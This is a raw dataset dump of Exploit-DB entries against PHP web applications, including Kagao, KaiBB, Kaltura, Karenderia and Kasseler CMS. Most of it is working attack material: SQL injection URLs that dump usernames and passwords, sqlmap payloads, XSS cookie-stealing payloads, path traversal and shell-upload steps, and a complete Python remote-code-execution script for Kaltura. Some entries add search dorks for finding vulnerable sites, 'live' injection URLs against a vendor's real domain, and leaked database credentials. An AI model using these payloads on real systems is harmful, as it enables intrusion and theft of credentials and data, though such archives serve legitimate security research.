deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12866
Description: K9 Kreativity Design - 'pages.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-03
Author: Newbie_Campuz

Exploit:
==========================================================
K9 Kreativity Design  (pages.php) SQL Injection Vulnerability
==========================================================

##########################################################
[+] K9 Kreativity Design (pages.php) SQL Injection Vulnerability
[+] By Newbie_Campuz
[+] Published: 2010-06-02 Pukul 21.00 WIB
[+] jatimcrew.org/
##########################################################

# Script Homepage:
# http://www.k9kreativity.co.uk/

[+]Dork: "pages.php?page_ID=" "K9 Kreativity"

[+] SQL Injection


	http://[target]/pages.php?page_ID=[SQL]

	http://[target]/pages.php?page_ID=-9999%20union%20select%201,2,3,4,5,6,7,8,9,group_concat(username,0x3a,password,0x3a,user_accesslevel),11,12,13,14,15,16%20from%20user--

##########################################################
Thanks to Allah SWT n Nabi Muhammad SAW

Special Thanks to : 	
My Parent, My Brother n My Sister
Byz9991, Doraemon, Bang_Napi, Dark_anvanger, Kenthot_cakep, Bom2, Shamus, Chapzha, Ficarciruas, phoenixhaxor, mywisdom, 
Pr3tty, newbie_043, KidDevilz, Android2009, XcyberX, flyff666, inurl, Osean, Vhacx, jamsh0ut, elfata, vickry_shahab
cybermuttaqin, k3m4ngi, roentah, zhombhie, techno_x46 and YOU... !!!

All admin, momod, spamguard, staff and member Jatim Crew..
All admin, momod, spamguard, staff and member xteamweb
All admin, momod, spamguard, staff and member h2ozones

##########################################################
Exploit-DB #40019
Description: Kagao 3.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-06-27
Author: N4TuraL

Exploit:
######################
# Application Name : Kagao v3.0 - Professional Classified Market

# Google Dork : inurl:/cat1.php?id2=

# Exploit Author : Cyber Warrior | Bug Researchers Group | N4TuraL

# Vendor Homepage : http://kogaoscript.com/

# Vulnerable Type : SQL Injection & Cross Site Scripting

# Date : 2016-06-26

# Tested on : Windows 10 / Mozilla Firefox
#             Linux / Mozilla Firefox
#             Linux / sqlmap 1.0.6.28#dev

###################### SQL Injection Vulnerability ######################

# Location :
http://localhost/[path]/cat1.php

######################

# Vulnerable code :

function pagenat(){

$buildLink = array(
"id" => intval($_GET['id']),
"id2" => isset($_GET['id2']) ? intval($_GET['id2']) : '',
"suche" => htmlspecialchars($_GET['suche']),
"sucheWo" => htmlspecialchars($_GET['sucheWo']),
"umkreis" => intval($_GET['umkreis']),
"page" => ""

);

$buildLink = http_build_query($buildLink);
$buildLink = 'cat1.php?' . $buildLink;

if($_GET['id2']){
$pages_num = getZahlPage($_GET['id2'], 'unterkategorie');
}
else{
$pages_num = getZahlPage($_GET['id'], 'kategorie');
}

$page = (isset($_GET['page'])) ? max($_GET['page'], 1) : 1;
$pages = ($pages_num > 1) ? pages($pages_num, $page, $buildLink) : '';
echo $pages;
}


######################

# PoC Exploit:

http://localhost/[path]/cat1.php?id2=999999.9%22%20union%20all%20select%20concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29%20as%20char%29%29%29%2C0x27%2C0x7e%29--%20a

# Exploit Code via sqlmap:

sqlmap -u http://localhost/[path]/cat1.php?id2=10 --dbms=mysql --random-agent --technique=BUESTQ --dbs --tamper=versionedkeywords --level=3 --risk=3 --no-cast

Parameter: id2 (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id2=10" AND 9863=9863 AND "UvFy"="UvFy

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id2=10" AND SLEEP(5) AND "Zxun"="Zxun

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: id2=-5676" UNION ALL SELECT CONCAT(0x716b786271,0x4e77456d62457a716850544f776d506c[PII_REDACTED]616c6b[PII_REDACTED]6c4152464c6a665a7a7064,0x[PII_REDACTED])-- vvJN
---

###################### Cross Site Scripting Vulnerability ######################

# PoC Exploit:

Search: "><script>alert('n4tural');</script>

http://localhost/[path]/cat1.php?id2=0&pricestart=0&room=&flache=&price=&zulassung=&kilometer=&kraftstoff=&id3=0&suche=%22%3E%3Cscript%3Ealert%28%27n4tural%27%29%3B%3C%2Fscript%3E&id=0&sucheWo=&umkreis=0

######################
Exploit-DB #17952
Description: KaiBB 2.0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2011-10-10
Author: Stefan Schurtz

Exploit:
Advisory:              		KaiBB 2.0.1 XSS and SQL Injection vulnerabilities
Advisory ID:           	SSCHADV2011-027
Author:                		Stefan Schurtz
Affected Software:  	Successfully tested on KaiBB 2.0.1
Vendor URL:          	http://code.google.com/p/kaibb/
Vendor Status:       	informed
CVE-ID:                	 	-

==========================
Vulnerability Description:
==========================

KaiBB 2.0.1 is prone to XSS and SQL Injection vulnerabilities

==================
Technical Details:
==================

Cross-site Scripting

http://<target>/kaibb/?'</script><script>alert(document.cookie)</script>
http://<target>/kaibb/index.php?'</script><script>alert(document.cookie)</script>

SQL Injection

http://<target>/kaibb/rss.php?forum=' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL AND 'a'='a
http://<target>/kaibb/rss.php?forum=' UNION ALL SELECT NULL, version(), NULL, NULL, NULL, NULL, NULL AND 'a'='a
http://<target>/kaibb/rss.php?forum=' UNION ALL SELECT NULL, user(), NULL, NULL, NULL, NULL, NULL AND 'a'='a

=========
Solution:
=========

-

====================
Disclosure Timeline:
====================

08-Oct-2011 - informed developers
08-Oct-2011 - release date of this security advisory

========
Credits:
========

Vulnerability found and advisory written by Stefan Schurtz.

===========
References:
===========

http://code.google.com/p/kaibb/
http://code.google.com/p/kaibb/issues/detail?id=2
http://www.rul3z.de/advisories/SSCHADV2011-027.txt
Exploit-DB #36107
Description: KaiBB 2.0.1 - SQL Injection / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-09-02
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/49421/info

KaiBB is prone to multiple SQL-injection vulnerabilities and a arbitrary-file-upload vulnerability because it fails to sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.

KaiBB 2.0.1 is vulnerable; other versions may also be affected. 

<+> 1 / * Multiple SQL Inj3cti0n :

http://127.0.0.1/kaibb/?s=viewtopic&t='
http://127.0.0.1/kaibb/?s=viewtopic&t=1'
http://[target]/[path]/?s=viewtopic&t=[SQLi]
------------------------------------------------
http://127.0.0.1/kaibb/?s=viewforum&f='
http://127.0.0.1/kaibb/?s=viewforum&f=1'
http://[target]/[path]/?s=viewforum&f=[SQLi]
------------------------------------------------
http://127.0.0.1/kaibb/?s=profile&user='
http://127.0.0.1/kaibb/?s=profile&user=2'
http://[target]/[path]/?s=profile&user=[SQLi]
------------------------------------------------
http://127.0.0.1/kaibb/?s=search&mode=search&term=&page='
http://127.0.0.1/kaibb/?s=search&mode=search&term=&page=1'
http://[target]/[path]/?s=search&mode=search&term=&page=1'[SQLi]
------------------------------------------------

<+> 2 / * File|Sh3lL Upload :  

http://127.0.0.1/kaibb/?s=ucp&mode=avatar

+ After register go t0 : 
http://[target]/[path]/?s=ucp&mode=avatar
+ Upload Sh3ll.php.gif ....
- Find him on : http://127.0.0.1/kaibb/img/avatars/{UserID}.gif
fr0m eXample : {UserID} = 2 :
+ http://127.0.0.1/kaibb/img/avatars/2.gif
Exploit-DB #11563
Description: kalimat new system 1.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-11-16
Author: ProF.Code

Exploit:
=====================================
| kalimat v 1.0 admin by pass (index.php)
=====================================
Author: ProF.Code
Email :adt@hotmail.com
=====================================
~~~~~~~~~~~~~~~~~~~~
dork(google) : intext:"Kalimat news system v 1.0"
~~~~~~~~~~~~~~~~~~~~
demo: http://server/kalimat/index.php?main=nc&id=12%20and%201=0%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,concat%28ur,0x3a,ps%29,11,12,13,14,15%20from+user
user : admin
pass : pass
=============================================================
Exploit-DB #31787
Description: Kalptaru Infotech Automated Link Exchange Portal - 'linking.page.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-13
Author: HaCkeR_EgY

Exploit:
source: https://www.securityfocus.com/bid/29205/info

Automated Link Exchange Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/linking.page.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10

http://www.example.com/link.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10,11,12,13,14,15,16,17,18/**/from/**/lp_user_tb/*
Exploit-DB #43028
Description: Kaltura < 13.2.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2017-10-23
Author: Robin Verton

Exploit:
#!/usr/bin/env python

# Kaltura <= 13.1.0 RCE (CVE-2017-14143)
# https://telekomsecurity.github.io/2017/09/kaltura-rce.html
# 
# $ python kaltura_rce.py "https://example.com" 0_xxxxxxxx "system('id')"
# [~] host: https://example.com
# [~] entry_id: 0_xxxxxxxx
# [~] code: system('id')
# [+] sending request..
# uid=1003(wwwrun) gid=50004(www) groups=50004(www),7373(kaltura)

import urllib
import urllib2
import base64
import md5
import sys

cookie_secret = 'y3tAno3therS$cr3T';

def exploit(host, entry_id, php_code):
    print("[+] Sending request..")
    url = "{}/index.php/keditorservices/getAllEntries?list_type=15&entry_id={}".format(host, entry_id)

    cmd = "{}.die();".format(php_code)
    cmd_len = len(cmd)

    payload = "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\0*\0_writers\";a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\0*\0_eventsToMail\";a:1:{i:0;i:1;}s:22:\"\0*\0_layoutEventsToMail\";a:0:{}s:8:\"\0*\0_mail\";O:9:\"Zend_Mail\":0:{}s:10:\"\0*\0_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\0*\0_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\0*\0_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\0*\0_replacement\";s:%s:\"%s\";}s:20:\"\0*\0_inflectorEnabled\";b:1;s:10:\"\0*\0_layout\";s:6:\"layout\";}s:22:\"\0*\0_subjectPrependText\";N;}}};}"

    exploit_code = payload % (len(cmd), cmd)
    encoded = base64.b64encode(exploit_code)
    md5_hash = md5.new("%s%s" % (encoded, cookie_secret)).hexdigest()

    cookies={'userzone': "%s%s" % (encoded, md5_hash)}

    r = urllib2.Request(url)
    r.add_header('Cookie', urllib.urlencode(cookies))

    req = urllib2.urlopen(r)
    return req.read()

if __name__ == '__main__':

    if len(sys.argv) < 4:
        print("Usage: %s <host> <entry_id> <php_code>" % sys.argv[0])
        print(" example: %s http://example.com 0_abc1234 system('id')" % sys.argv[0])
        sys.exit(0)

    host = sys.argv[1]
    entry_id = sys.argv[2]
    cmd = sys.argv[3]

    print("[~] host: %s" % host)
    print("[~] entry_id: %s" % entry_id)
    print("[~] php_code: %s" % cmd)

    result = exploit(sys.argv[1], sys.argv[2], sys.argv[3])

    print(result)
Exploit-DB #20391
Description: Kamads Classifieds 2.0 - Admin Hash Disclosure
Type: webapps
Platform: php
Date: 2012-08-09
Author: Mr.tro0oqy

Exploit:
<?php


if ($argc < 2) 
{ 
echo "\n+-----------------------------------------------------------------+\n"; 
echo "|         Kamads classifieds V2 Multiple Vulnerabilities            |\n"; 
echo "|                          Author:Mr.tro0oqy                        |\n"; 
echo "|                          uxxd@hotmail.com                         |\n";   
echo "|                        dork:inurl:V2A_XHTML                       |\n";  
echo "|                                                                   |\n";               
echo "+-------------------------------------------------------------------+\n";
print "\nUsage........: php $argv[0] <host><path><admin.php>\n"; 
print "\nex...........: php $argv[0] http://www.target.com/V2A_XHTML/admin/admin.php\n";
die(); 
}else {


$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"$argv[1]");
$op1 = curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($ch,COOKIESESSION,true);
curl_setopt($ch,CUSTOMREQUEST,"get");
$x = curl_exec($ch);


if ($t = stristr($x,"username = ") and  stristr($x,"password = ")) {
echo "\n";
echo "\n";
echo $new = substr($t,0,94);


if ($co=stristr($x,"theCookieName") and $co2=stristr($x,"theCookieValue")) {

echo "\n";
echo "\n";
echo $new2 = substr($co,0,35);
echo "\n";
echo $new3 =substr($co2,0,40);
echo "\n";
echo "\n";

$ja = substr($new2,17,15);
echo "\n";
$ja2 = substr($new3,18,18);
echo "\n";
echo "\n";
echo "\n";


echo $exploit =  "javascript:document.cookie=\"$ja=$ja2;path=/\";";
echo "\n";
echo "\n";
echo "\n";
}



}else {
echo "not found";

}

}
?>
Exploit-DB #10672
Description: kandalf upper 0.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : kandalf upper 0.1 Upload Shell Vulnerability                            |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : kandalf upper 0.1  Funzione per upload di file                          |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : Upload Shell                                                            | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 1-http://server/kandalf/
| 2- http://server/kandalf/fileup/
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #15385
Description: Kandidat CMS 1.4.2 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-11-02
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22648
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_kandidat_cms.html
Product: Kandidat CMS
Vendor: Kan-Studio ( http://www.kan-studio.ru/ ) 
Vulnerable Version: 1.4.2 and probably prior versions
Vendor Notification: 19 October 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/settings.php" script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/settings.php?action=validate" method="post" name="main">
<input type="hidden" name="title" value='Site Title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="template" value="silver">
<input type="hidden" name="Submit" value="Save changes">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #47075
Description: Karenderia Multiple Restaurant System 5.3 - Local File Inclusion
Type: webapps
Platform: php
Date: 2019-07-05
Author: Mehmet EMIROGLU

Exploit:
===========================================================================================
# Exploit Title: Karenderia CMS 5.1 - LFI Vuln.
# Dork: N/A
# Date: 04-07-2019
# Exploit Author: Mehmet EMIROGLU
# Software Link:
https://codecanyon.net/item/karenderia-multiple-restaurant-system/9118694
# Version: v5.3
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Karenderia Multiple Restaurant System is a
restaurant food ordering and restaurant membership system.
===========================================================================================
# POC - Frame Inj
# Parameters : f
# Attack Pattern :
%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fversion
# GET Method :
http://localhost/kmrs/exportmanager/ajax/getfiles?f=/../../../../../../../../../../proc/version
===========================================================================================
Exploit-DB #47077
Description: Karenderia Multiple Restaurant System 5.3 - SQL Injection
Type: webapps
Platform: php
Date: 2019-07-08
Author: Mehmet EMIROGLU

Exploit:
===========================================================================================
# Exploit Title: Karenderia CMS 5.3 - Multiple SQL Vuln.
# Dork: N/A
# Date: 05-07-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: buyer2@codemywebapps.com
# Software Link: https://codecanyon.net/item/karenderia-multiple-restaurant-system/9118694
# Version: v5.3
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Karenderia Multiple Restaurant System is a
restaurant food ordering and restaurant membership system.
===========================================================================================
# POC - SQLi (Blind)
# Parameters : street-name
# Attack Pattern :
1+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f

# GET Method :
http://localhost/kmrs/searcharea?st=Los%20Angeles,%20CA,%20United%20States&street-name=1%20+%20((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A))/*'XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR'|
"XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR"*/
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: Karenderia CMS 5.3 - Multiple SQL Vuln.
# Dork: N/A
# Date: 05-07-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: buyer2@codemywebapps.com
# Software Link: https://codecanyon.net/item/karenderia-multiple-restaurant-system/9118694
# Version: v5.3
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Karenderia Multiple Restaurant System is a
restaurant food ordering and restaurant membership system.
===========================================================================================
# POC - SQLi (Blind)
# Parameters : category
# Attack Pattern :
1+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f
# GET Method :
http://localhost/kmrs/store/cuisine/?category=1%20+%20((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A))/*'XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR'|
"XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR"*/&page=2
===========================================================================================
Exploit-DB #6837
Description: Kasra CMS - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-10-25
Author: G4N0K

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
KasraCMS (index.php) Multiple Remote SQL Injection Vulnerabilities
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[~] Script: KasraCMS
[~] Language : PHP
[~] WebSite: http://kasracms.com
[~] affected File: index.php
[~] Type : Commercial
[~] Report-Date : 25/10/2008


--[ DoRK ]--
intext:"2007-2008 Kasra ICT"


--[ Founder ]--
G4N0K <mail.ganok[at]gmail.com>


--[ Exploit ]--
[~] http://localhost/[path]/index.php?shme=-63 UNION ALL SELECT
0,0,concat(username,0x3a,password),0,0,0,0,0 FROM user--
[~] http://localhost/[path]/index.php?cont=-63 UNION ALL SELECT
0,0,0,concat(username,0x3a,password),0,0,0,0 FROM user--


--[ L!ve ]--
http://kasracms.com/index.php?cont=-63 UNION ALL SELECT
0,0,0,concat(username,0x3a,password),0,0,0,0 FROM user--
http://kasracms.com/index.php?shme=-63 UNION ALL SELECT
0,0,concat(username,0x3a,password),0,0,0,0,0 FROM user--


--[ Greetz ]--
[~] ALLAH
[~] Tornado2800 <Tornado2800[at]gmail.com>
[~] Hussain-X <darkangel_g85[at]yahoo.com>

//ALLAH, forgimme...

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
EoX
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2008-10-25]
Exploit-DB #8997
Description: Kasseler CMS - File Disclosure / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-22
Author: S(r1pt

Exploit:
#X      X 
# X    X       A      K  KK  NN    N  EEEEEE  TTTTTTTT
#  X  X       A A     K K    N N   N  E          TT  
#   XX       AAAAA    KK     N  N  N  EEE        TT
#  X  X     A     A   K K    N   N N  E          TT
# X    X   A       A  K  KK  N    NN  EEEEEE     TT
#X      X 

Author: S(r1pt - xaknet.ru
GreetZ to all users xaknet.ru, especial: baltazar, Saint, X1mer@, Trash, Ic3, G1yuk, NEXGEN, ErrNick, deface and other ..

###
Kasseler-Cms (Reafile/XSS) Multiple Remote Vulnerabilities
Site author: kasseler-cms.net
###

Readfile:
http://www.kasseler-cms.net/engine.php?do=download&file=../includes/config/configdb.php :
<?php
/**********************************************/
/* Kasseler CMS: Content Management System    */
/**********************************************/
/*                                            */
/* Copyright (c)2007-2009 by Igor Ognichenko  */
/* http://www.kasseler-cms.net/               */
/*                                            */
/**********************************************/

if (!defined('FUNC_FILE')) die('Access is limited');

$database = array(
    'host'                => 'localhost',
    'user'                => 'kasseler_robin',
    'password'            => 'cs010488oia',
    'name'                => 'kasseler_cms',
    'prefix'              => 'kasseler',
    'type'                => 'mysql',
    'charset'             => 'cp1251',
    'cache'               => '',
    'sql_cache_clear'     => 'INSERT,UPDATE,DELETE',
    'no_cache_tables'     => 'sessions'
);
?>

vulnerability in engine.php:
function download(){
global $config;      
    require_once "includes/class/download.php";
    $file = "uploads/".$_GET['file']; #here =)
    $download = new file_download($file, 0, 1024);
    $download->download();
}

AND XSS bonus:
http://www.kasseler-cms.net/engine.php?do=redirect&url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnRmluZWQgYnkgUyhyMXB0LCDQsNCz0LAuJyk7PC9zY3JpcHQ+ 

# milw0rm.com [2009-06-22]